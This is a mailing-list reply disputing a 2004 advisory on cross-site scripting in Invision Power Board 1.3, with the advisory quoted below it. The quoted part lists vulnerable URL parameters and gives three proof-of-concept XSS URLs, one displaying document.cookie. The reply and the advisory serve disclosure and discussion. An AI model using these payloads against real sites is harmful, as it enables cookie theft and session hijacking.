Re: Invision Power Board v1.3 Final Cross Site Scripting Vulnerabillity

[JeiAr <security@xxxxxxxxxxxx>]

In-Reply-To: <001301c402d9$f70623b0$0b3016ac@fucku>

I tested this on my fully patched 1.3 install of IPB with no results. I have 
seen in the past where people have reported XSS and the like and used 
http://demo.invisionboard.com as an example. The XSS DOES work there, but did 
not work on my 1.3 final version. Maybe it has to do with the skin being used, 
or more likely has different features. Isn't the http://demo.invisionboard.com 
forums 2.X and not 1.3 etc?


>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>Software:        Invision Power Board
>Vendor:           http://www.invisionboard.com/
>Versions:        (U) v1.3 Final
>Bug:                 Cross Site Scripting Vulnerabillity
>Risk:                Medium
>Exploitation:    Remote with browser
>Date:               29 Feb 2004
>Author:             Rafel Ivgi, The-Insider
>E-Mail:             the_insider@xxxxxxxx
>Web:                http://theinsider.deep-ice.com
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>1) Introduction
>2) Bug
>3) The Code
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>===============
>1) Introduction
>===============
>
>Invision Power Board is available under a yearly and lifetime purchase
>option for both personal and commercial use, no catches, no "spyware",
>no hidden costs anywhere.
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>======
>2) Bug
>======
>
>The Vulnerabillity is Cross Site Scripting.
>The vulnerable form fields are "c","f","showtopic","showuser","username".
> If an attacker will request the following url from the server:
>
>http://<host>/?c='>&lt;script&gt;alert(window.document.url)&lt;/script&gt;<plaintext>
>Or
>http://<host>/?showtopic='>&lt;script&gt;alert(window.document.url)&lt;/script&gt;<plain
>text>
>Or
>http://<host>/?act=SR&f='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;